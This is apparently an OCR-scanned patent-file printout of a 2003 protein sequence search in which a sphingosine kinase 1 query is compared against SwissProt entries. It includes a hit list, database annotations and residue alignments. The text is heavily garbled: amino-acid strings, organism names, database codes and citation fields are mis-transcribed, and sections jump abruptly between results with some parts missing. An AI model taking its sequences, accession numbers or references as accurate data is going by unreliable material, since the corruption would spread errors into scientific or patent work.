Db      1164 GAGCTGTGTATTATCATCTGTCTACGTACGTGGGGGTGTCAAGGGCTGCGCTGCTG 1223
QY      301 ArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVal 320
Db      1224 CGCCTTCTCGGCATGCAAGAGGCAAGCATATGACATGTGACTGTCCATACCTGTT 1283
QY      321 TyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaVal 340
Db      1284 CATGTGCCCGTGGTCTTCCGCTGAGCCAGAGCCAGAGGGGCGTGTCTGTG 1343
QY      341 AspGlyGluMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrp 360
Db      1344 GATGAGAGCTGATGATGTGAAGCTGTGCAGGGCCAAAGTCAACCAACTACCTTTGG 1403
QY      361 MetValSerGlyCysValGluProProPheSerTyrPlyProGlnGlnMetProProPro 380
Db      1404 ATGCTGTGTGACAGACAGATGCCCATCCGCGCGGAGCTCCGCGGGGGCCACCTCCA 1463
QY      381 GluGluPro 383
Db      1464 GAAGAACCA 1472

```

Search completed: July 12, 2003, 19:15:25
 Job time : 3460 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - protein search, using sw model

Run on: July 12, 2003, 17:20:27 ; Search time 18 seconds

(without alignments)
884.828 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015

Sequence: 1 MDPAGRGVLPKRCVLT.....CDEPPPSKPKQMPPEEPL 384

Scoring table:

BLOSUM62
Gapop 10.0 , Gapext 0.5

Searched: 112892 seqs, 41476328 residues

Total number of hits satisfying chosen parameters: 112892

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Listing first 45 summaries

Database : SwissProt_40.*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	1962	97.4	384	1	SPH1_HUMAN
2	874	43.4	617	1	SPH2_MOUSE
3	856.5	42.5	654	1	SPH2_HUMAN
4	106.5	5.3	433	1	Y036_SYNY3
5	102.5	5.1	1065	1	KOGL_HUMAN
6	96	4.8	712	1	DNIL2_MOUSE
7	94.5	4.7	260	1	PPNK_CAUCC
8	94	4.6	1247	1	IRBP_HUMAN
9	93	4.6	297	1	BMRU_BACSU
10	93	4.6	425	1	BIOA_SERMA
11	92.5	4.6	439	1	YSM3_CAEEL
12	91	4.5	533	1	SERA_RAT
13	90	4.5	533	1	SH7_MOUSE
14	90	4.5	533	1	SERA_HUMAN
15	89	4.4	734	1	PSAB_PORPU
16	88.5	4.4	392	1	RURE_ACICA
17	86.5	4.3	259	1	PPNK_XYTRA
18	86.5	4.3	791	1	KOGL_DROME
19	86	4.3	567	1	GPV_RAT
20	86	4.3	998	1	ECAS_ARATH
21	85.5	4.2	334	1	G3P_PYRAB
22	85	4.2	827	1	KOGL_CAEEL
23	84.5	4.2	300	1	YCP8_BRAZA
24	83.5	4.1	508	1	GLPK_MTCPN
25	83.5	4.1	808	1	DHG_GLUOX
26	83	4.1	758	1	CHLD_TOBAC
27	83	4.1	3011	1	POLG_HCVH
28	82.5	4.1	554	1	CMXA_PARDE
29	82.5	4.1	572	1	POB8_ECOLI
30	82	4.1	334	1	DPF7_ECOLI
31	82	4.1	448	1	SH7_RAT
32	82	4.1	450	1	TBB_BOMO
33	82	4.1	608	1	HFAC_CAUCR

34	82	4.1	2672	1	GCN1_YEAST
35	81.5	4.0	320	1	YRIB_ECOLI
36	81.5	4.0	1286	1	IRBP_BOVIN
37	81.5	4.0	1400	1	RON_HUMAN
38	81.5	4.0	2470	1	NPC2_MOUSE
39	81	4.0	396	1	DKR_DEIRA
40	81	4.0	419	1	PMT4_TOBAC
41	81	4.0	782	1	SM4B_MOUSE
42	80.5	4.0	335	1	G3P2_METAC
43	80.5	4.0	737	1	G3P_METH
44	80.5	4.0	335	1	ETRI_BRAOL
45	80	4.0	319	1	COA2_POVNA

ALIGNMENTS

AC	Q9NYL1: Q9NYL1, Q9HD92, Q9NY70, PRT; 384 AA.
DT	15-JUN-2002 (Rel. 41, Created)
DT	15-JUN-2002 (Rel. 41, Last sequence update)
DT	15-JUN-2002 (Rel. 41, Last annotation update)
DE	Sphingosine kinase 1 (EC 2.7.1.-) (SK 1) (SPK 1).
GN	SPHK1 OR SPHK OR SPK.
OS	Homo sapiens (Human).
OC	Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi;
OC	Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
OX	NCBI_TaxID:9606;
RN	[1]
RP	SEQUENCE FROM N.A.
RX	MEDLINE-20323213; PubMed-10863092;
RA	Wentz A.J., Carlos-Dias E., Gossink M., Allen J.M., Takacs L.;
RT	"Human sphingosine kinase: molecular cloning, functional
RL	characterization and tissue distribution.";
RN	gene 251:19-26(2000).
[2]	
RP	SEQUENCE FROM N.A., AND CHARACTERIZATION.
RX	MEDLINE-20263733; PubMed-10802064;
RA	Nava V.E., Lacana E., Poulsen S., Liu H., Suglura M., Kono K.;
RT	Miller S., Kohama T., Spiegel S.;
RL	"Functional characterization of human sphingosine kinase-1.";
RN	FEBS Lett. 473:81-84(2000).
[3]	
RP	SEQUENCE FROM N.A., AND CHARACTERIZATION.
RX	MEDLINE-20407120; PubMed-10949577;
RA	Pitson S.M., D'Andrea R.J., Vandeleur L., Moretti P.A.B., Xia P.;
RT	Gamble J.R., Vadas M.A., Wattenberg B.W.;
RL	"Human sphingosine kinase: purification, molecular cloning and
RT	characterization of the native and recombinant enzymes.";
RL	Biochem. J. 350:429-441(2000).
[4]	
RP	SEQUENCE FROM N.A.
RA	Van Veldhoven P.P., Gijbers S.;
RT	Submitted (Aug-1999) to the EMBL/Genbank/DBJ databases.
[5]	
RP	SEQUENCE FROM N.A.
RC	TISSUE-Ovary, and Mammary gland;
RA	Isogai T., Ota T., Hayashi K., Sugiyama T., Otsuki T., Suzuki Y.;
RA	Nishikawa T., Nagai K., Sugano S., Shiratori A., Sudo H.;
RA	Wagatsuma M., Hosoi T., Kaku Y., Kodaira H., Kondo H., Sugawara M.;
RA	Takahashi M., Chiba Y., Ishida S., Murakami K., Ono Y., Takiguchi S.;
RA	Watanabe S., Kimura K., Murakami K., Ishii S., Kawai Y., Saito K.;
RA	Yamamoto J., Wakamatsu A., Nakamura Y., Nagahara K., Masuno Y.;
RT	Nimomiya K., Iwayanagi T.;
RL	"NEO human cDNA sequencing project.";
CC	Submitted (Aug-2000) to the EMBL/Genbank/DBJ databases.
CC	-I- FUNCTION: Catalyzes the phosphorylation of sphingosine to form
CC	sphingosine 1-phosphate (SPP), a lipid mediator with both intra-
CC	and extracellular functions. Also acts on D-erythro-sphingosine
CC	and to a lesser extent sphinganine, but not other lipids, such as
CC	D,L-threo-dihydrosphingosine, N,N-dimethylsphingosine.

CC diacylglycerol, ceramide, or phosphatidylinositol.
 CC -1- CATALYTIC ACTIVITY: sphingosine + ATP -> sphingosine 1-phosphate + ADP.
 CC -1- SUBUNIT: Blinds to calmodulin.
 CC -1- TISSUE SPECIFICITY: Widely expressed with highest levels in adult liver, kidney, heart and skeletal muscle.
 CC -1- SIMILARITY: BELONGS TO THE SPHINGOSINE KINASE FAMILY.
 CC -----
 CC This SWISS-PROT entry is copyright. It is produced through a collaboration between the Swiss Institute of Bioinformatics and the EMBL outstation - the European Bioinformatics Institute. There are no restrictions on its use by non-profit institutions as long as its content is in no way modified and this statement is not removed. Usage by and for commercial entities requires a license agreement (See <http://www.isb-sib.ch/announce/> or send an email to license@isb-sib.ch).
 CC -----
 CC EMBL, AF26756; AAF73470.1; -
 CC EMBL, AF238083; AAF73423.1; -
 CC EMBL, AF200328; AAG01980.1; -
 CC EMBL, AK023393; BAB14558.1; -
 CC EMBL, AK022402; BAB14028.1; -
 CC EMBL, AJ245504; CAB92131.1; -
 CC GenBank, F03730; -
 CC MIM, 603730; -
 CC DR InterPro: IPR001206; DAGKC.
 CC DR InterPro: IPR003622; DAG_kin_cat.
 CC DR Pfam: PF00781; DAGKC; 2.
 CC DR ProDom: PD005043; DAG_kin_cat; 1.
 CC DR SMART: SM00046; DAGKC; 1.
 CC DR Transfaser: Kinase; ATP-binding; Calmodulin-binding.
 CC KW TRANSFASER: Kinase; ATP-binding; Calmodulin-binding.
 CC FT CONFLICT 6 MISSING (IN REF. 4).
 CC FT CONFLICT 11 15 LPRPC -> ARL (IN REF. 4).
 CC FT CONFLICT 114 115 NA -> KP (IN REF. 4).
 CC FT CONFLICT 251 251 V -> M (IN REF. 2).
 CC FT CONFLICT 260 260 L -> F (IN REF. 2).
 CC FT CONFLICT 302 302 V -> G (IN REF. 4).
 CC FT CONFLICT 325 325 V -> M (IN REF. 3).
 CC FT CONFLICT 337 337 V -> M (IN REF. 3).
 CC FT SEQUENCE 384 AA; 42517 MW; EB04AF2034C2DB0 CRC64;
 CC SQ
 CC Query Match 97.4%; Score 1962; DB 1; Length 384;
 CC Best Local Similarity 97.7%; Pred. No. 2,9e-164;
 CC Matches 375; Conservative 2; Mismatches 7; Indels 0; Gaps 0;

RESULT 2
 ID SPH2_MOUSE STANDARD; PRT; 617 AA.
 AC Q9JIA7; Q9DBH6; Q9JVA9;
 DT 15-JUN-2002 (Rel. 41, Created)
 DT 15-JUN-2002 (Rel. 41, Last sequence update)
 DT 15-JUN-2002 (Rel. 41, Last annotation update)
 DE Sphingosine kinase 2 (EC 2.7.1.1-) (SK 2) (SPK 2).
 GN SPMK2.
 OS Mus musculus (Mouse).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Mus.
 OC NCB1_TaxID=10090;
 RN (1)
 RP SEQUENCE FROM N.A. AND CHARACTERIZATION.
 RC STRAIN=ICR; TISSUE=Brain;
 RX MEDLINE=20347850; PubMed=10751414;
 RA Liu H., Sugitara M., Nawa V.E., Edsall L.C., Kono K., Poulton S., Mlatien S., Kohama T., Spiegel S.;
 RT "Molecular cloning and functional characterization of a novel mammalian sphingosine kinase type 2 isoform."
 RL J. Biol. Chem. 275:19513-19520(2000).
 RN (2)
 RP SEQUENCE FROM N.A.
 RA Thompson D., Pyne S.;
 RL Submitted (Aug-2001) to the EMBL/GenBank/DBJ databases.
 RN (3)
 RP SEQUENCE FROM N.A.
 RC STRAIN=C57BL/6J; TISSUE=Liver;
 RX MEDLINE=21085660; PubMed=11217851;
 RA Kawai J., Shingawa A., Shibata K., Yoshino M., Itoh M., Ishii Y., Arakawa T., Hara A., Fukunishi Y., Kono H., Adachi J., Fukuda S., Aizawa K., Nishikawa M., Nishi K., Kiyosawa H., Kondo S., Yamana K., Saito T., Okazaki Y., Gojibori T., Bono H., Kasukawa T., Saito R., Kadoya K., Matsuda H.A., Ashburner M., Batilov S., Casavant T., Fieschmann W., Gaasterland T., Gissi C., King B., Quackenbush J., Kuehl P., Lewis S., Matsuo Y., Nikaido I., Pesole G., Quackenbush J., Schiraldi L.M., Staudt F., Suzuki R., Tomita M., Wagner L., Washio T., Sakai K., Okido T., Furuno M., Aono H., Balderas R., Barsh G., Bromstein M.J., Bull C., Fletcher C., Fujita M., Gariboldi M., Gustincich S., Hill D., Hofmann M., Hume D.A., Kamiya M., Lee N.H., Lyons P., Marchionni L., Mashima J., Mazzarelli J., Mombaerts P., Nordone P., Ring B., Ringwald M., Rodriguez I., Sakamoto N., Sasaki H., Sato K., Schoenbach G., Seya T., Shibata Y., Storch K.-F., Suzuki H., Toyooka K., Wang K.H., Weitz C., Whitaker C., Wilming L., Wyshaw-Boris A., Yoshida K., Hasegawa Y., Kawai H., Kohitsuki S., Hayashizaki Y.;
 RA "Functional annotation of a full-length mouse cDNA collection."
 RL Nature 409:685-690(2001).
 RN (4)
 RP SEQUENCE FROM N.A.
 RC TISSUE=Breast tumor;
 RA Strausberg R.;
 RL Submitted (Apr-2001) to the EMBL/GenBank/DBJ databases.
 CC -1- FUNCTION: Catalyzes the phosphorylation of sphingosine to form sphingosine 1-phosphate (SP1), a lipid mediator with both intra- and extracellular functions. Also acts on D-erythro-dihydrosphingosine, D-erythro-sphingosine and L-threo-dihydrosphingosine.
 CC -1- CATALYTIC ACTIVITY: sphingosine + ATP -> sphingosine 1-phosphate + ADP.
 CC -1- SIMILARITY: BELONGS TO THE SPHINGOSINE KINASE FAMILY.
 CC -----
 CC This SWISS-PROT entry is copyright. It is produced through a collaboration between the Swiss Institute of Bioinformatics and the EMBL outstation - the European Bioinformatics Institute. There are no restrictions on its use by non-profit institutions as long as its content is in no way modified and this statement is not removed. Usage by and for commercial entities requires a license agreement (See <http://www.isb-sib.ch/announce/> or send an email to license@isb-sib.ch).
 CC -----
 CC EMBL, AF245448; AAF74125.1; -

DR EMBL: AF415214; AAL07500.1; -
 DR EMBL: AK004951; BAB23694.1; -
 DR EMBL: BC006941; AAH06941.1; -
 DR MGI: MGI:1861380; SPHK2.
 DR InterPro: IPR001206; DAGKC.
 DR InterPro: IPR003622; DAG_Kin_cat.
 DR Pfam: PF00781; DAGKC. 1.
 DR ProDom: PD005043; DAG_Kin_cat. 1.
 DR SMART: SM00046; DAGKC. 1.
 KW Transferase, Kinase; ATP-binding.
 FT CONFLICT 252 252 N -> S (IN REF. 1).
 FT CONFLICT 510 510 P -> T (IN REF. 1).
 FT CONFLICT 548 548 L -> F (IN REF. 1).
 SQ SEQUENCE 617 AA; 65618 MW; 40EE2C2C288BE26A CMC64;

Query Match 43.4%; Score 874; DB 1; Length 617;
 Best Local Similarity 38.9%; Pred. No. 9.6e-69;
 Matches 187; Conservative 62; Mismatches 112; Indels 120; Gaps 4;

OY 10 VLPPRCVLYLVNPRGKGKALOLFRRSHVOPFLAEAEISFTLMLTERNNHARELYRSEEL 69
 DB 141 LLPKPRLLLVNPPGGRGLAMQRCMDHVPVISEAGLSFTLQTERNNHARELYVQGLSL 200
 OY 70 GRMDALVVMGSGDLMEHVNGIMERPDMETAIQKPLGSLPAGSGNALAASINHYAGYEOV 129
 DB 201 SEMEGITVSGDGLLYEVNLGLDRPDMEDAVRMPIGVLPAGSGNALAAGVNHGGEYQV 260
 OY 130 TNEDLLNCTLLLCRPVLSPPNLLSLHTASGLRSFVSLAMGFTADVLESXYRRIGE 189
 DB 261 VGVULLNCSLLLCRGSGHPDLISVTLASGSCFSLVAMGFLSDVDIHSEFRALGS 320
 OY 190 MRFITGFLRLAALRTYRGLATLPV----- 215
 DB 321 ARFLGAVLGASLHTYRGLSLVPTATTEPALPIGHSLSRAKSELVLAAPADAPATHSP 380
 OY 216 ----- 215
 DB 381 LHRVSDELPLPQPALVSPGSPPEPLDLSLNGGPELTGDMGAGDAPLSPDLLPSSP 440
 OY 216 -----GRVGRKTP--ASPVVYQCGPVDAAHLVPLEEYQVPSHMQVPPD 254
 DB 441 NALTAQLSPFAEGPPEMPASSGFLPPLPFAEASTWCPVHLLPLPGLPDPDWITTEG 500
 OY 255 EDFVLVATLHSHLASEMFAPMGRCAAGVHLYFVRAGVSRAMLRLFLAMEGRHNEY 314
 DB 501 E-FLVMGILPSHLCADLMAAPARFDDGVHLCVMSGISRALRLRLAMEGRHNEFSL 559
 OY 315 ECPYLVVYVVAFRLEPRDGKGFVAVDGLMVAVSAVQGVHPNTEFMVSGCCEPPSPWKP 374
 DB 560 GCPHLGYAARAFAFLPEPLTPRGLLTVGSELVEYGPIDQAVHPLGLATLLTG----PAGCKP 615
 OY 375 Q 375
 DB 616 Q 616

RESULT 3
 SPH2_HUMAN STANDARD; PRT; 654 AA.
 ID SPH2_HUMAN
 AC Q9NRAO; Q9NRAO7; Q9HQO2; Q9BRN1;
 DT 15-JUN-2002 (Rel. 41, Created)
 DT 15-JUN-2002 (Rel. 41, Last sequence update)
 DE 15-JUN-2002 (Rel. 41, Last annotation update)
 DE Sphingosine kinase 2 (EC 2.7.1.-) (SK 2) (SPK 2).
 GN SPHK2.
 OS Homo sapiens (Human).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 CC Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 OX NCBI_Taxid=9606;
 RN [1]
 RP SEQUENCE FROM N.A. (ISOFORM 2), AND CHARACTERIZATION.
 RX MEDLINE=20347850; PubMed=10751414;
 RA Liu H., Sugitara M., Nava V.E., Edsall L.C., Kono K., Poulton S.,

RA Milstien S., Kohama T., Spiegel S.;
 RT "Molecular cloning and functional characterization of a novel
 RT mammalian sphingosine kinase type 2 isoform."
 RT J. Biol. Chem. 275:19513-19520(2000).
 RN [2].
 RP SEQUENCE FROM N.A. (ISOFORM 2).
 RC TISSUE-Brain;
 RX MEDLINE=21154917; PubMed=11230166;
 RA Wiemann S., Well B., Wellenreuther R., Gassenhuber J., Glassl S.,
 RA Ansorge W., Boecker M., Bloecher H., Bauersachs S., Blum H.,
 RA Lauber J., Duesterhoeft A., Beyer A., Koehler K., Strack N.,
 RA Mewes H.-W., Ottenwaelder B., Obermaier B., Tampe J., Heubner D.,
 RA Manduit R., Korn B., Klein M., Poustka A.;
 RT "Towards a catalog of human genes and proteins: sequencing and
 RT analysis of 500 novel complete protein coding human cDNAs."
 RL Genome Res. 11:422-435(2001).
 RN [3].
 RP SEQUENCE FROM N.A. (ISOFORMS 1 AND 2).
 RC TISSUE-Eye, and Lymph;
 RA Strausberg R.;
 RP Submitted (JUL-2001) to the EMBL/GenBank/DBJ databases.
 RL [4].
 RN SEQUENCE OF 1-354 FROM N.A. (ISOFORM 3).
 RC TISSUE-Carcinoma;
 RA Watanabe K., Kunagai A., Itakura S., Yamazaki M., Tashiro H., Ota T.,
 RA Suzuki Y., Obayashi M., Nishi T., Shibahara T., Tanaka T.,
 RA Nakamura Y., Isogai T., Sugano S.;
 RT "NDO human cDNA sequencing project."
 RL Submitted (FEB-2000) to the EMBL/GenBank/DBJ databases.
 CC -1- FUNCTION: Catalyzes the phosphorylation of sphingosine to form
 CC sphingosine 1-phosphate (SPP), a lipid mediator with both intra-
 CC and extracellular functions. Also acts on D-erythro-
 CC dihydrosphingosine, D-erythro-sphingosine and L-threo-
 CC dihydrosphingosine.
 CC -1- CATALYTIC ACTIVITY: Sphingosine + ATP -> sphingosine 1-phosphate +
 CC ADP.
 CC -1- ALTERNATIVE PRODUCTS: 3 isoforms; 1 (shown here), 2 and 3; may be
 CC produced by alternative splicing.
 CC -1- SIMILARITY: BELONGS TO THE SPHINGOSINE KINASE FAMILY.
 CC -----
 CC This SWISS-PROT entry is copyright. It is produced through a collaboration
 CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
 CC the European Bioinformatics Institute. There are no restrictions on its
 CC use by non-profit institutions as long as its content is in no way
 CC modified and this statement is not removed. Usage by and for commercial
 CC entities requires a license agreement (See <http://www.isb-sib.ch/announce/>
 CC or send an email to license@sib-sib.ch).
 CC -----
 DR EMBL: AF245447; AAF74124.1; -
 DR EMBL: AL136701; CAB66636.1; -
 DR EMBL: BC006161; AAH06161.1; -
 DR EMBL: BC010671; AAH10671.1; -
 DR EMBL: AK000599; BAA91280.1; -
 DR MIM: 607092; -
 DR Genew: HGNC:18859; SPHK2.
 DR InterPro: IPR001206; DAGKC.
 DR InterPro: IPR003622; DAG_Kin_cat.
 DR Pfam: PF00781; DAGKC. 1.
 DR ProDom: PD005043; DAG_Kin_cat. 1.
 DR SMART: SM00046; DAGKC. 1.
 KW Transferase, Kinase; ATP-binding; Alternative splicing.
 FT VARSPLIC 1 36 MISSING (IN ISOFORM 2 AND ISOFORM 3).
 FT VARSPLIC 292 390
 FT FEPAAGLGLNCSLLLCRGSGHPDLISVTLASGSCFSL
 FT LSVAMGVSVDVDSERRRALSARFLGLVGLATLATYR
 FT GRLSYLPATVEPASPTP -> PRDSDSSTSSSACPLMTTA
 FT RSCPRRAASMPGSCPLLEQALGFSRPIODRVNAGGGRIG
 FT SLTCRGHTQRLPAPARGGSGSLFLKNINIVICKKKKK
 FT (IN ISOFORM 3).
 FT CONFLICT 49 49 P -> S (IN REF. 2).
 FT SEQUENCE 654 AA; 69217 MW; F73FCEC930DA50F CMC64;
 SQ SEQUENCE 654 AA; 69217 MW; F73FCEC930DA50F CMC64;
 Query Match 42.5%; Score 856.5; DB 1; Length 654;
 Best Local Similarity 38.6%; Pred. No. 3.5e-67;


```

CC      AND THE REVERSED SEQUENCE IS GIVEN IN REF. 1, REF. 2 AND REF. 3.
CC      -----
CC      This SWISS-PROT entry is copyright. It is produced through a collaboration
CC      between the Swiss Institute of Bioinformatics and the EMBL Outstation -
CC      the European Bioinformatics Institute. There are no restrictions on its
CC      use by non-profit institutions as long as its content is in no way
CC      modified and this statement is not removed. Usage by and for commercial
CC      entities requires a license agreement (See http://www.isb.ch/announce/
CC      or send an email to license@isb.slb.ch).
CC      -----
DR      EMBL; M33875; AAA59453.1;   -
DR      EMBL; M33864; AAA59453.1;   JOINED.
DR      EMBL; M33865; AAA59453.1;   JOINED.
DR      EMBL; M33866; AAA59453.1;   JOINED.
DR      EMBL; M22453; AAA36126.1;   -
DR      EMBL; J05253; AAC18875.1;   ALT_INIT.
DR      EMBL; J03912; AAA59188.1;   -
DR      EMBL; X53044; CAA37213.1;   -
DR      PIR; H24417; H24417.        -
DR      PIR; C25735; C25735.        -
DR      PIR; A31987; A31987.        -
DR      PIR; J50307; J50307.        -
DR      PIR; A33812; A33812.        -
DR      Genew; HGNC:9921; RBP3.     .
DR      MIT; 180290; -.              -
DR      InterPro; IPR003581; TSPC.   .
DR      Pfam; PF02692; IRBP; 4.      .
DR      SMART; SMO0245; TSPc; 4.     .
KW      Vitamin A; Transport; Repeat; signal; Glycoprotein.
FT      SIGNAL                     1..17
FT      CHAIN                      18..1247
FT                                     INTERPHOTORECEPTOR RETINOID-BINDING
FT                                     PROTEIN.
FT      DOMAIN                     18..1230
FT      REPEAT                     18..320
FT                                     1.
FT      REPEAT                     321..630
FT                                     2.
FT      REPEAT                     631..931
FT                                     3.
FT      REPEAT                     932..1230
FT                                     4.
FT      CARBOHYD                   205..205
FT                                     N-LINKED (GLCNAC. . .) (POTENTIAL).
FT      CARBOHYD                   515..515
FT                                     N-LINKED (GLCNAC. . .) (POTENTIAL).
SQ      SEQUENCE                    1247 AA; 135362 MW; 6C1841411E012E0F CRC64;

Query Match          4.7%; Score 94; DB 1; Length 1247;
Best Local Similarity 25.6%; Pred. No. 4.6;
Matches 79; Conservative 26; Mismatches 105; Indels 98; Gaps 19;

QY      PAGSGNLAASLNITVAGYEQ-----VTNEDLLTNCT-----LLCRPVLSPMN---LLS 154
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      482 PGCGSSSAVPRLSLSTFGCPREAGRVHLFTTYDKRTKITGQENHFSHMELPGRGYSTOGGVYLTT 541
QY      155 LH-TASGLRISFVL--SLAWGFADVDLESDKYRRILGEMRFPLTGFLRLAALRTYGRILA 211
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      542 SHRTATTAEEPAFMOSIGMATL-----VGRI--TAGNL-----LHRTVPLL 582
QY      212 TLPRGRGEFKRPAPRVYVOGSPVANHLVPLEEQPSNH---QVPDEDFVLVALLHSHL 268
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      583 DTPGGSLALTPTVLTFFIDNRSEA-----WLGGGVNPD---ATVLAEEALDK 625
QY      269 ASER--FAAPRGRCAGVMHLF---YVRAGY--SRAMLLRLFANMERGHNEVCOPYLVY 321
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      626 AQELTERHQSIALVEGIHGLEAHYAARPEYVGQTALLRKLAGOAGR-----TAVD 678
QY      322 VPIVAFLR--EPKDGKG-----VRAVDGELVASEAVOVQHPNYFMVNSGCVEPPSPSKP 374
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      679 LESLASQLTADLQEVSGDHRLIVRHSPCELVEEA-----PPP---P 717
QY      375 QQMPPEE 382
DB      | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : | : |
DB      718 PAVPSPEE 725

RESULT 9
ID      BMRU_BACSU STANDARD; PRF; 297 AA.
```

AC p39074;
 DT 01-FEB-1995 (Rel. 31, Created)
 DT 01-FEB-1995 (Rel. 31, Last sequence update)
 DT 15-JUN-2002 (Rel. 41, Last annotation update)
 DE Protein bmrV.
 GN BMRV.
 OS Bacillus subtilis.
 OC Bacteria; Firmicutes; Bacillales; Bacillaceae; Bacillus.
 OX NCBI_TaxID=1423;
 RX SEQUENCE FROM N.A.
 RP STRAIN=168 / Marburg;
 RC MEDLINE=95050642; PubMed=7961792;
 RA Ahmed M., Borsch C.M., Taylor S.S., Vazquez-Laslop N., Neyfakh A.A.;
 RT "A protein that activates expression of a multidrug efflux
 transporter upon binding the transporter substrates."
 RL J. Biol. Chem. 269:28506-28513(1994).
 RN [12]
 RP SEQUENCE FROM N.A.
 RC STRAIN=168 / JH642;
 RX MEDLINE=97124195; PubMed=8969508;
 RA Mizuno M., Masuda S., Takemaru K.-I., Hosono S., Sato T., Takeuchi M.,
 RA Kobayashi Y.;
 RT "Systematic sequencing of the 283 kb 210 degrees-232 degrees region of
 the Bacillus subtilis genome containing the skin element and many
 sporulation genes."
 RL Microbiology 142:3103-3111(1996).
 RN [13]
 RP SEQUENCE FROM N.A.
 RC STRAIN=168;
 RX MEDLINE=98044033; PubMed=9384377;
 RA Kunst F., Ogasawara N., Moszer I., Albertini A.M., Alloni G.,
 RA Azevedo V., Bartero M.G., Bessieres P., Bolotin A., Borchert S., Bron S.,
 RA Brouillet S., Burscht C.V., Caldwell B., Capuano V., Carter N.M.,
 RA Choi S.K., Codani J.J., Conerton I.F., Cummings S.D., Daniel R.A.,
 RA Denzot F., Devine K.M., Dusterhoft A., Ehrlich S.D., Emerson P.T.,
 RA Entlan K.D., Erington J., Fabret C., Ferrari E., Foulger D.,
 RA Fritz C., Fujita M., Fujita Y., Fuma S., Galizzi A., Gallen N.,
 RA Ghim S.Y., Glaser P., Goffeau A., Gollightly E.J., Grandi G.,
 RA Giuseppe G., Guy B.J., Haga K., Halech J., Harwood C.R., Henaut A.,
 RA Hilbert H., Holsappel S., Hosono S., Hullo M.F., Itaya H., Jones L.,
 RA Joris B., Karamata D., Kasahara Y., Klaere-Blanchard M., Klein C.,
 RA Kobayashi Y., Koetter P., Konigstein G., Krogh S., Kumano M.,
 RA Kurita K., Lapidus A., Lardinois S., Lauber J., Lazarevic V.,
 RA Lee S.M., Levine A., Liu H., Masuda S., Manuel C., Medigue C.,
 RA Medina N., Mellado R.P., Mizuno M., Moestl D., Nakai S., Noback M.,
 RA Noone D., O'Reilly M., Ogawa K., Ogawa A., Oudega B., Park S.H.,
 RA Parro V., Pohl T.M., Portetelle D., Porwollik S., Prescott A.M.,
 RA Plescan E., Pujic P., Purnelle B., Rapoport G., Rey M., Reynolds S.,
 RA Rieger M., Rivoita C., Roche B., Rose M., Sadate Y.,
 RA Sato T., Scanlan E., Schleich S., Schroeter R., Scofield F.,
 RA Sekiguchi J., Sekowska S., Seror S.J., Serrior P., Shin B.S., Soldo B.,
 RA Sorokin A., Taccioni E., Takagi T., Takahashi H., Takemaru K.,
 RA Takeuchi M., Tamakoshi A., Tanaka T., Terpstra P., Tognoni A.,
 RA Trosato V., Uchiyama S., Vandenberg M., Vannier F., Vassartoli A.,
 RA Viari A., Wambolt A., Wedler E., Wedler H., Weltzenegger T.,
 RA Winters P., Wipalt A., Yamamoto H., Yamane K., Yasunoto K., Yata K.,
 RA Yoshida K., Yoshikawa H.F., Zumbstein E., Yoshikawa H., Danchin A.;
 RT "The complete genome sequence of the Gram-positive bacterium Bacillus
 subtilis."
 RL Nature 390:249-256(1997).
 CC -I- SIMILARITY: TO E.COLI YEGS AND TO SYNECHOCYSTIS PCC 6803 SL0036.
 CC -----
 CC This SWISS-PROT entry is copyright. It is produced through a collaboration
 CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
 CC the European Bioinformatics Institute. There are no restrictions on its
 CC use by non-profit institutions as long as its content is in no way
 CC modified and this statement is not removed. Usage by and for commercial
 CC entities requires a license agreement (See <http://www.isb-sib.ch/announce/>
 CC or send an email to license@isb-sib.ch).
 CC -----
 CC EMBL; L25604; AAB81538.1; -

DR EMBL; D84432; BAA12602.1; -
 DR EMBL; Z99116; CAB14331.1; -
 DR Subtilisin, BGI0302; bmrV.
 DR InterPro: IPR005218; Cons_hypoth147.
 DR InterPro: IPR001206; DAGKc.
 DR InterPro: IPR003622; DAG_Kin_cat.
 DR Pfam: PF00781; DAGKc; 1.
 DR ProDom: PD005043; DAG_Kin_cat; 1.
 DR SMART: SM00046; DAGKc; 1.
 DR TIGRFAMs: TIGR00147; TIGR00147; 1.
 KW Complete proteome.
 SQ SEQUENCE 297 AA; 32461 MW; 2EB5B9DC35F90CDD CRC64;
 Query Match 4.6%; Score 93; DB 1; Length 297;
 Best Local Similarity 19.1%; Pred. No. 0.87;
 Matches 68; Conservative 55; Mismatches 157; Indels 76; Gaps 13;
 QY 16 RVLVLNPRGGKGRALQLFRSHVPLAEAFISTMLTERRNHARLVSEELGRDAL 75
 DB 4 RKALLIHGNANKNIKELKALGAVPVLSHHLEVIYIKQTKKHDAVHRCRSID-DSYDVI 62
 QY 76 VMSGDGLMEVYVNGL--MERPDWETATOKPLCS-LPAGSGNALASLNHYAGYEQYTN 132
 DB 63 FLIGDGTIHOCINAIASLER-----KAVGILPGGTNDSSRVLG----- 103
 QY 133 DLTNCTLLCRPVLSPNNLSLATASGLRSFVSLAMGFIVADVLESQYRRLGEMRF 192
